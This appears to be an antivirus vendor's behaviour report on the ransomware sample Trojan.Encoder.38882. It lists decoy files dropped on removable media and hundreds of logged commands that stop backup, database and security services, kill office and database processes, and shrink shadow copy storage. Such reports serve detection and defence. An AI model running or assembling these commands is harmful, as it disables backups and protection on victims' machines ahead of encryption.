Trojan.Encoder.38882

Technical Information

To ensure autorun and distribution

Creates the following files on removable media

<Drive name for removable media>:\dialmap.bmp
<Drive name for removable media>:\uep_form_786_bulletin_1726i602.doc
<Drive name for removable media>:\508softwareandos.doc
<Drive name for removable media>:\ovp25012015.doc
<Drive name for removable media>:\lisp_success.doc
<Drive name for removable media>:\hanni_umami_chapter.doc
<Drive name for removable media>:\pmd.cer
<Drive name for removable media>:\contoso_1.cer
<Drive name for removable media>:\stoc13_ml_quoc_le.pptx
<Drive name for removable media>:\sdkfailsafeemulator.cer
<Drive name for removable media>:\contosoroot_1.cer
<Drive name for removable media>:\toolbar.bmp
<Drive name for removable media>:\dial.bmp
<Drive name for removable media>:\default.bmp
<Drive name for removable media>:\dashborder_144.bmp
<Drive name for removable media>:\join.avi
<Drive name for removable media>:\correct.avi
<Drive name for removable media>:\contosoroot.cer
<Drive name for removable media>:\asaprojectcompetition.pptx

Malicious functions

To complicate detection of its presence in the operating system,

deletes volume shadow copies.

Executes the following

'%WINDIR%\syswow64\net.exe' stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\net.exe' stop "UI0Detect" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamBackupSvc" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamBrokerSvc" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamCatalogSvc" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamCloudSvc" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamDeploymentService" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamDeploySvc" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamEnterpriseManagerSvc" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamMountSvc" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamNFSSvc" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamRESTSvc" /y
'%WINDIR%\syswow64\net.exe' stop "W3Svc" /y
'%WINDIR%\syswow64\net.exe' stop "msftesql$PROD" /y
'%WINDIR%\syswow64\net.exe' stop "wbengine" /y
'%WINDIR%\syswow64\net.exe' stop "WRSVC" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamHvIntegrationSvc" /y
'%WINDIR%\syswow64\net.exe' stop "swi_update" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$CXDB" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$CITRIX_METAFRAME" /y
'%WINDIR%\syswow64\net.exe' stop "SQL Backups" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$PROD" /y
'%WINDIR%\syswow64\net.exe' stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLServerADHelper" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$PROD" /y
'%WINDIR%\syswow64\net.exe' stop "TrueKeyServiceHelper" /y
'%WINDIR%\syswow64\net.exe' stop "VeeamTransportSvc" /y
'%WINDIR%\syswow64\net.exe' stop "TrueKeyScheduler" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$VEEAMSQL2012" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$ECWDB2" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$PRACTTICEBGC" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$PRACTTICEMGT" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$PROFXENGAGEMENT" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$SBSMONITORING" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$SHAREPOINT" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$SQL_2008" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$TPS" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$TPSAMA" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$VEEAMSQL2008R2" /y
'%WINDIR%\syswow64\net.exe' stop "SQLBrowser" /y
'%WINDIR%\syswow64\net.exe' stop "tmlisten" /y
'%WINDIR%\syswow64\net.exe' stop "SQLSafeOLRService" /y
'%WINDIR%\syswow64\net.exe' stop "SQLSERVERAGENT" /y
'%WINDIR%\syswow64\net.exe' stop "SQLTELEMETRY" /y
'%WINDIR%\syswow64\net.exe' stop "SQLTELEMETRY$ECWDB2" /y
'%WINDIR%\syswow64\net.exe' stop "SQLWriter" /y
'%WINDIR%\syswow64\net.exe' stop "SstpSvc" /y
'%WINDIR%\syswow64\net.exe' stop "svcGenericHost" /y
'%WINDIR%\syswow64\net.exe' stop "swi_filter" /y
'%WINDIR%\syswow64\net.exe' stop "swi_service" /y
'%WINDIR%\syswow64\net.exe' stop "swi_update_64" /y
'%WINDIR%\syswow64\net.exe' stop "TmCCSF" /y
'%WINDIR%\syswow64\net.exe' stop "TrueKey" /y
'%WINDIR%\syswow64\net.exe' stop "NetMsmqActivator" /y
'%WINDIR%\syswow64\net.exe' stop "EhttpSrv" /y
'%WINDIR%\syswow64\net.exe' stop "ekrn" /y
'%WINDIR%\syswow64\taskkill.exe' /F /IM ocssd.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM onenote.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM oracle.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM outlook.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM powerpnt.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM sqbcoreservice.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM sqlagent.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM sqlbrowser.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM sqlservr.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM sqlwriter.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM ocautoupds.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM ocomm.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM steam.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM thebat.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM thebat64.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM thunderbird.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM visio.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM winword.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM wordpad.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM xfssvccon.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM tmlisten.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM PccNTMon.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM CNTAoSMgr.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM synctime.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM tbirdconfig.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM mysqld-opt.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM mysqld-nt.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM mysqld.exe /T
'%WINDIR%\syswow64\net.exe' stop "MSSQL$SOPHOS" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$SOPHOS" /y
'%WINDIR%\syswow64\net.exe' stop "AVP" /y
'%WINDIR%\syswow64\net.exe' stop "klnagent" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$SQLEXPRESS" /y
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$SQLEXPRESS" /y
'%WINDIR%\syswow64\net.exe' stop "kavfsslp" /y
'%WINDIR%\syswow64\net.exe' stop "KAVFSGT" /y
'%WINDIR%\syswow64\net.exe' stop "KAVFS" /y
'%WINDIR%\syswow64\net.exe' stop "mfefire" /y
'%WINDIR%\syswow64\taskkill.exe' /F /IM zoolz.exe /T
'%WINDIR%\syswow64\net.exe' stop "ESHASRV" /y
'%WINDIR%\syswow64\taskkill.exe' /F /IM agntsvc.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM dbsnmp.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM encsvc.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM excel.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM firefoxconfig.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM infopath.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM isqlplussvc.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM msaccess.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM msftesql.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM mspub.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM mydesktopqos.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM mydesktopservice.exe /T
'%WINDIR%\syswow64\taskkill.exe' /F /IM dbeng50.exe /T
'%WINDIR%\syswow64\net.exe' stop "SQLAgent$BKUPEXEC" /y
'%WINDIR%\syswow64\taskkill.exe' /F /IM Ntrtscan.exe /T
'%WINDIR%\syswow64\net.exe' stop "sophossps" /y
'%WINDIR%\syswow64\net.exe' stop "SNAC" /y
'%WINDIR%\syswow64\net.exe' stop "bedbg" /y
'%WINDIR%\syswow64\net.exe' stop "DCAgent" /y
'%WINDIR%\syswow64\net.exe' stop "EPSecurityService" /y
'%WINDIR%\syswow64\net.exe' stop "EPUpdateService" /y
'%WINDIR%\syswow64\net.exe' stop "EraserSvc11710" /y
'%WINDIR%\syswow64\net.exe' stop "EsgShKernel" /y
'%WINDIR%\syswow64\net.exe' stop "FA_Scheduler" /y
'%WINDIR%\syswow64\net.exe' stop "IISAdmin" /y
'%WINDIR%\syswow64\net.exe' stop "IMAP4Svc" /y
'%WINDIR%\syswow64\net.exe' stop "macmnsvc" /y
'%WINDIR%\syswow64\net.exe' stop "masvc" /y
'%WINDIR%\syswow64\net.exe' stop "MBEndpointAgent" /y
'%WINDIR%\syswow64\net.exe' stop "MsDtsServer110" /y
'%WINDIR%\syswow64\net.exe' stop "McAfeeEngineService" /y
'%WINDIR%\syswow64\net.exe' stop "McAfeeFramework" /y
'%WINDIR%\syswow64\net.exe' stop "McAfeeFrameworkMcAfeeFramework" /y
'%WINDIR%\syswow64\net.exe' stop "McShield" /y
'%WINDIR%\syswow64\net.exe' stop "McTaskManager" /y
'%WINDIR%\syswow64\net.exe' stop "mfemms" /y
'%WINDIR%\syswow64\net.exe' stop "mfevtp" /y
'%WINDIR%\syswow64\net.exe' stop "MMS" /y
'%WINDIR%\syswow64\net.exe' stop "mozyprobackup" /y
'%WINDIR%\syswow64\net.exe' stop "MsDtsServer" /y
'%WINDIR%\syswow64\net.exe' stop "MsDtsServer100" /y
'%WINDIR%\syswow64\net.exe' stop "BackupExecVSSProvider" /y
'%WINDIR%\syswow64\net.exe' stop "MBAMService" /y
'%WINDIR%\syswow64\net.exe' stop "BackupExecRPCService" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos System Protection Service" /y
'%WINDIR%\syswow64\net.exe' stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Agent" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos AutoUpdate Service" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Clean Service" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Device Control Service" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos File Scanner Service" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Health Service" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos MCS Agent" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos MCS Client" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Message Router" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Safestore Service" /y
'%WINDIR%\syswow64\net.exe' stop "Sophos Web Control Service" /y
'%WINDIR%\syswow64\net.exe' stop "BackupExecJobEngine" /y
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\net.exe' stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\net.exe' stop "Symantec System Recovery" /y
'%WINDIR%\syswow64\net.exe' stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\net.exe' stop "AcronisAgent" /y
'%WINDIR%\syswow64\net.exe' stop "AcrSch2Svc" /y
'%WINDIR%\syswow64\net.exe' stop "Antivirus" /y
'%WINDIR%\syswow64\net.exe' stop "ARSM" /y
'%WINDIR%\syswow64\net.exe' stop "BackupExecAgentAccelerator" /y
'%WINDIR%\syswow64\net.exe' stop "BackupExecAgentBrowser" /y
'%WINDIR%\syswow64\net.exe' stop "BackupExecDeviceMediaService" /y
'%WINDIR%\syswow64\net.exe' stop "BackupExecManagementService" /y
'%WINDIR%\syswow64\net.exe' stop "MSExchangeES" /y
'%WINDIR%\syswow64\net.exe' stop "MSExchangeIS" /y
'%WINDIR%\syswow64\net.exe' stop "MSExchangeMGMT" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLServerOLAPService" /y
'%WINDIR%\syswow64\net.exe' stop "MySQL80" /y
'%WINDIR%\syswow64\net.exe' stop "MySQL57" /y
'%WINDIR%\syswow64\net.exe' stop "ntrtscan" /y
'%WINDIR%\syswow64\net.exe' stop "OracleClientCache80" /y
'%WINDIR%\syswow64\net.exe' stop "PDVFSService" /y
'%WINDIR%\syswow64\net.exe' stop "POP3Svc" /y
'%WINDIR%\syswow64\net.exe' stop "ReportServer" /y
'%WINDIR%\syswow64\net.exe' stop "ReportServer$SQL_2008" /y
'%WINDIR%\syswow64\net.exe' stop "ReportServer$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLSERVER" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLServerADHelper100" /y
'%WINDIR%\syswow64\net.exe' stop "ReportServer$TPS" /y
'%WINDIR%\syswow64\net.exe' stop "sacsvr" /y
'%WINDIR%\syswow64\net.exe' stop "SamSs" /y
'%WINDIR%\syswow64\net.exe' stop "SAVAdminService" /y
'%WINDIR%\syswow64\net.exe' stop "SAVService" /y
'%WINDIR%\syswow64\net.exe' stop "SDRSVC" /y
'%WINDIR%\syswow64\net.exe' stop "SepMasterService" /y
'%WINDIR%\syswow64\net.exe' stop "ShMonitor" /y
'%WINDIR%\syswow64\net.exe' stop "Smcinst" /y
'%WINDIR%\syswow64\net.exe' stop "SmcService" /y
'%WINDIR%\syswow64\net.exe' stop "SMTPSvc" /y
'%WINDIR%\syswow64\net.exe' stop "ReportServer$TPSAMA" /y
'%WINDIR%\syswow64\net.exe' stop "RESvc" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$TPSAMA" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$TPS" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net.exe' stop "MSExchangeSA" /y
'%WINDIR%\syswow64\net.exe' stop "MSExchangeSRS" /y
'%WINDIR%\syswow64\net.exe' stop "MSOLAP$SQL_2008" /y
'%WINDIR%\syswow64\net.exe' stop "MSOLAP$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net.exe' stop "MSOLAP$TPS" /y
'%WINDIR%\syswow64\net.exe' stop "MSOLAP$TPSAMA" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$BKUPEXEC" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$ECWDB2" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$PRACTICEMGT" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$PRACTTICEBGC" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$PROFXENGAGEMENT" /y
'%WINDIR%\syswow64\net.exe' stop "MSExchangeMTA" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$SBSMONITORING" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$SQL_2008" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$TPS" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$TPSAMA" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$VEEAMSQL2008R2" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$VEEAMSQL2012" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$SBSMONITORING" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$SHAREPOINT" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQLFDLauncher$SQL_2008" /y
'%WINDIR%\syswow64\net.exe' stop "MSSQL$SHAREPOINT" /y
'%WINDIR%\syswow64\net.exe' stop "SntpService" /y
'%WINDIR%\syswow64\taskkill.exe' /F /IM mbamtray.exe /T

Launches a large number of processes

Modifies file system

Changes user data files extensions (Trojan.Encoder).

Miscellaneous

Executes the following

'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "& { }"
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$TPS" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$TPSAMA" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$VEEAMSQL2008R2" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$VEEAMSQL2012" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLBrowser" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLSafeOLRService" /y
'%WINDIR%\syswow64\net1.exe' stop "SepMasterService" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLSERVERAGENT" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLTELEMETRY$ECWDB2" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLWriter" /y
'%WINDIR%\syswow64\net1.exe' stop "SstpSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "svcGenericHost" /y
'%WINDIR%\syswow64\net1.exe' stop "swi_filter" /y
'%WINDIR%\syswow64\net1.exe' stop "swi_service" /y
'%WINDIR%\syswow64\net1.exe' stop "swi_update_64" /y
'%WINDIR%\syswow64\net1.exe' stop "TmCCSF" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$SBSMONITORING" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLTELEMETRY" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$SQL_2008" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$SHAREPOINT" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$PROFXENGAGEMENT" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$PRACTTICEMGT" /y
'%WINDIR%\syswow64\net1.exe' stop "ReportServer$TPS" /y
'%WINDIR%\syswow64\net1.exe' stop "ReportServer$TPSAMA" /y
'%WINDIR%\syswow64\net1.exe' stop "RESvc" /y
'%WINDIR%\syswow64\net1.exe' stop "sacsvr" /y
'%WINDIR%\syswow64\net1.exe' stop "SamSs" /y
'%WINDIR%\syswow64\net1.exe' stop "SAVAdminService" /y
'%WINDIR%\syswow64\net1.exe' stop "SAVService" /y
'%WINDIR%\syswow64\net1.exe' stop "tmlisten" /y
'%WINDIR%\syswow64\net1.exe' stop "SDRSVC" /y
'%WINDIR%\syswow64\net1.exe' stop "ReportServer" /y
'%WINDIR%\syswow64\net1.exe' stop "ShMonitor" /y
'%WINDIR%\syswow64\net1.exe' stop "SmcService" /y
'%WINDIR%\syswow64\net1.exe' stop "SMTPSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "SNAC" /y
'%WINDIR%\syswow64\net1.exe' stop "SntpService" /y
'%WINDIR%\syswow64\net1.exe' stop "sophossps" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$BKUPEXEC" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$ECWDB2" /y
'%WINDIR%\syswow64\net1.exe' stop "ReportServer$SQL_2008" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$PRACTTICEBGC" /y
'%WINDIR%\syswow64\net1.exe' stop "Smcinst" /y
'%WINDIR%\syswow64\net1.exe' stop "ReportServer$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net1.exe' stop "TrueKey" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamBackupSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "NetMsmqActivator" /y
'%WINDIR%\syswow64\net1.exe' stop "EhttpSrv" /y
'%WINDIR%\syswow64\net1.exe' stop "ekrn" /y
'%WINDIR%\syswow64\net1.exe' stop "ESHASRV" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$SOPHOS" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$SOPHOS" /y
'%WINDIR%\syswow64\net1.exe' stop "AVP" /y
'%WINDIR%\syswow64\net1.exe' stop "klnagent" /y
'%WINDIR%\syswow64\net1.exe' stop "Zoolz 2 Service" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$SQLEXPRESS" /y
'%WINDIR%\syswow64\net1.exe' stop "kavfsslp" /y
'%WINDIR%\syswow64\net1.exe' stop "KAVFSGT" /y
'%WINDIR%\syswow64\net1.exe' stop "KAVFS" /y
'%WINDIR%\syswow64\net1.exe' stop "mfefire" /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=C: /on=C: /maxsize=unbounded
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=401MB
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=D: /on=D: /maxsize=unbounded
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$PROD" /y
'%WINDIR%\syswow64\net1.exe' stop "msftesql$PROD" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLServerADHelper" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$PROD" /y
'%WINDIR%\syswow64\net1.exe' stop "MSExchangeMTA" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamBrokerSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamCatalogSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamCloudSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamDeploymentService" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamDeploySvc" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamEnterpriseManagerSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamMountSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "TrueKeyScheduler" /y
'%WINDIR%\syswow64\net1.exe' stop "UI0Detect" /y
'%WINDIR%\syswow64\net1.exe' stop "TrueKeyServiceHelper" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamNFSSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "wbengine" /y
'%WINDIR%\syswow64\net1.exe' stop "WRSVC" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamHvIntegrationSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "swi_update" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$CXDB" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$CITRIX_METAFRAME" /y
'%WINDIR%\syswow64\net1.exe' stop "SQL Backups" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamRESTSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "VeeamTransportSvc" /y
'%WINDIR%\syswow64\net1.exe' stop "W3Svc" /y
'%WINDIR%\syswow64\net1.exe' stop "POP3Svc" /y
'%WINDIR%\syswow64\net1.exe' stop "PDVFSService" /y
'%WINDIR%\syswow64\net1.exe' stop "OracleClientCache80" /y
'%WINDIR%\syswow64\net1.exe' stop "BackupExecManagementService" /y
'%WINDIR%\syswow64\net1.exe' stop "BackupExecRPCService" /y
'%WINDIR%\syswow64\net1.exe' stop "BackupExecVSSProvider" /y
'%WINDIR%\syswow64\net1.exe' stop "bedbg" /y
'%WINDIR%\syswow64\net1.exe' stop "DCAgent" /y
'%WINDIR%\syswow64\net1.exe' stop "EPSecurityService" /y
'%WINDIR%\syswow64\net1.exe' stop "EPUpdateService" /y
'%WINDIR%\syswow64\net1.exe' stop "EraserSvc11710" /y
'%WINDIR%\syswow64\net1.exe' stop "McAfeeFrameworkMcAfeeFramework" /y
'%WINDIR%\syswow64\net1.exe' stop "EsgShKernel" /y
'%WINDIR%\syswow64\net1.exe' stop "IISAdmin" /y
'%WINDIR%\syswow64\net1.exe' stop "IMAP4Svc" /y
'%WINDIR%\syswow64\net1.exe' stop "macmnsvc" /y
'%WINDIR%\syswow64\net1.exe' stop "masvc" /y
'%WINDIR%\syswow64\net1.exe' stop "MBAMService" /y
'%WINDIR%\syswow64\net1.exe' stop "MBEndpointAgent" /y
'%WINDIR%\syswow64\net1.exe' stop "McAfeeEngineService" /y
'%WINDIR%\syswow64\net1.exe' stop "BackupExecAgentBrowser" /y
'%WINDIR%\syswow64\net1.exe' stop "BackupExecAgentAccelerator" /y
'%WINDIR%\syswow64\net1.exe' stop "BackupExecJobEngine" /y
'%WINDIR%\syswow64\net1.exe' stop "ARSM" /y
'%WINDIR%\syswow64\net1.exe' stop "Antivirus" /y
'%WINDIR%\syswow64\net1.exe' stop "Acronis VSS Provider" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Agent" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos AutoUpdate Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Clean Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Device Control Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos File Scanner Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Health Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos MCS Agent" /y
'%WINDIR%\syswow64\net1.exe' stop "McAfeeFramework" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos MCS Client" /y
'%WINDIR%\syswow64\net1.exe' stop "FA_Scheduler" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Safestore Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Web Control Service" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLsafe Backup Service" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLsafe Filter Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Symantec System Recovery" /y
'%WINDIR%\syswow64\net1.exe' stop "Veeam Backup Catalog Data Service" /y
'%WINDIR%\syswow64\net1.exe' stop "AcronisAgent" /y
'%WINDIR%\syswow64\net1.exe' stop "AcrSch2Svc" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos Message Router" /y
'%WINDIR%\syswow64\net1.exe' stop "Enterprise Client Service" /y
'%WINDIR%\syswow64\net1.exe' stop "Sophos System Protection Service" /y
'%WINDIR%\syswow64\net1.exe' stop "BackupExecDeviceMediaService" /y
'%WINDIR%\syswow64\net1.exe' stop "McShield" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$SQL_2008" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$TPS" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$TPSAMA" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$VEEAMSQL2008R2" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$VEEAMSQL2012" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher$PROFXENGAGEMENT" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher$SBSMONITORING" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$SHAREPOINT" /y
'%WINDIR%\syswow64\net1.exe' stop "McTaskManager" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher$SHAREPOINT" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher$TPSAMA" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLSERVER" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLServerADHelper100" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLServerOLAPService" /y
'%WINDIR%\syswow64\net1.exe' stop "MySQL80" /y
'%WINDIR%\syswow64\net1.exe' stop "MySQL57" /y
'%WINDIR%\syswow64\net1.exe' stop "ntrtscan" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher$SQL_2008" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher$SYSTEM_BGC" /y
'%WINDIR%\syswow64\net1.exe' stop "MSSQLFDLauncher$TPS" /y
'%WINDIR%\syswow64\net1.exe' stop "SQLAgent$SQLEXPRESS" /y
'%WINDIR%\syswow64\vssadmin.exe' resize shadowstorage /for=F: /on=F: /maxsize=401MB
'%WINDIR%\syswow64\net1.exe' stop "MSSQL$PRACTTICEBGC" /y
'%WINDIR%\syswow64\net1.exe' stop "mfevtp" /y
'%WINDIR%\syswow64\net1.exe' stop "MMS" /y
'%WINDIR%\syswow64\net1.exe' stop "mozyprobackup" /y
'%WINDIR%\syswow64\net1.exe' stop "MsDtsServer" /y
